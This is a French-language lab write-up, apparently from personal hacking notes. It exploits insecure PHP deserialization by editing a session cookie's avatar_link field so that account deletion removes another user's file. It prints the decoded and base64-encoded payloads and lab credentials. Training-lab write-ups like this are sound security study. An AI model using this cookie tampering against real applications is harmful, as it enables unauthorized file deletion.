> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/deserialization/operation-via-application-functionalities.md).

# Exploitation de la fonctionnalité de l’application

### Utiliser les fonctionnalités de l’application pour exploiter une désérialisation non sécurisée

Ce laboratoire utilise un mécanisme de session basé sur **la sérialisation**. / Une fonctionnalité de l’application invoque une **méthode dangereuse** à partir des données contenues dans un objet sérialisé contrôlé par l’utilisateur.

Modifiez l’objet sérialisé dans le cookie de session pour provoquer la **`morale.txt`** suppression du fichier du répertoire personnel de **Carlos**.

**Comptes disponibles**

* Compte utilisateur principal : `wiener:peter`
* Compte de secours : `gregg:rosebud`

<figure><img src="/files/b6cc1173034105d69b2079271c324c3e85f0a80f" alt=""><figcaption></figcaption></figure>

**Analyse des cookies de session**

Après authentification, la session est stockée dans un cookie contenant un objet PHP sérialisé de type `Utilisateur`.

**Cookie Wiener (après décodage)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```

{% endcode %}

**Cookie Gregg (après décodage)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```

{% endcode %}

On note que le **`avatar_link`** propriété est utilisée par l’application dans certaines actions.

**Fonctionnalité exploitable**

Lorsque l’utilisateur clique sur **Supprimer le compte**, une requête est envoyée à :

```http
/my-account/delete
```

Cette fonctionnalité traite la valeur de `avatar_link` et déclenche une opération sur le fichier pointé par ce champ, sans validation suffisante.

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**Exploitation**

L’idée est de **remplacer la valeur de `avatar_link`** par un chemin arbitraire menant au fichier à supprimer.

**Objet sérialisé modifié**:

```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```

Après l’envoi de la requête à `/my-account/delete`, le serveur répond :

<figure><img src="/files/d1a003bdd32964bc316ab7f9bcea5d6c51cb75e6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/deserialization/operation-via-application-functionalities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
